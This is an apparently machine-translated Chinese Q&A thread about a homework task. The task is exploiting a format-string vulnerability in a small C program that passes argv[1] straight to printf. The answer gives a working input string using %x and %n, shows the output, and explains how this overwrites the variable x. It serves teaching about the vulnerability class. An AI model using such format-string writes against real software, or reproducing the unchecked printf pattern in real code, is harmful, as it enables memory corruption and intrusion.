利用 C 语言中的 Printf 漏洞

Orh*_*çın 5 c security

作为作业的一部分,我预计将利用下面共享的 C 代码中的 printf() 漏洞。应该是这样,当我使用字符串(例如../format“foo”)运行代码时,我应该用其他东西更改“X等于1”中的“1”。我相信我需要更改 X 变量的值,但如果您有不同的想法,请随时分享。这是代码:

#include <stdio.h>
#include <stdlib.h>
int main (int argc, char **argv)
{
    int *p;
    int x = 1;
    p=&x;
    printf("x=%d, sizeof(x): %zu, %x = %p, sizeof((p):%zu,&p = %p, \n", x, sizeof(x), &x, sizeof(p),&p);
    printf(argv[1]);
    printf("\nX equals: %d \n", x);
    return 0;
}
Run Code Online (Sandbox Code Playgroud)

小智 8

当没有正确使用验证时,您可以在打印中找到有关漏洞的相当不错的信息(格式字符串攻击)。

我玩了一下它,当运行程序时,如下所示:

./format "Bob %x %x %x %x %x %x %x %x%n" 
Run Code Online (Sandbox Code Playgroud)

会导致如下打印:

x=1, sizeof(x): 4, &x = 0x7fffa9c36e14, sizeof((p):8,&p = 0x7fffa9c36e18,
Bob 81688000 81464ab0 3 81688048 3 a9c36f08 400410 a9c36f00
X equals: 59
Run Code Online (Sandbox Code Playgroud)

如果将 替换%n为 ,%x您将能够看到变量的地址x。因为%x从进程内存读取并%n写入进程内存,所以我能够更改其中的数据(59 是打印时的x字符数)%n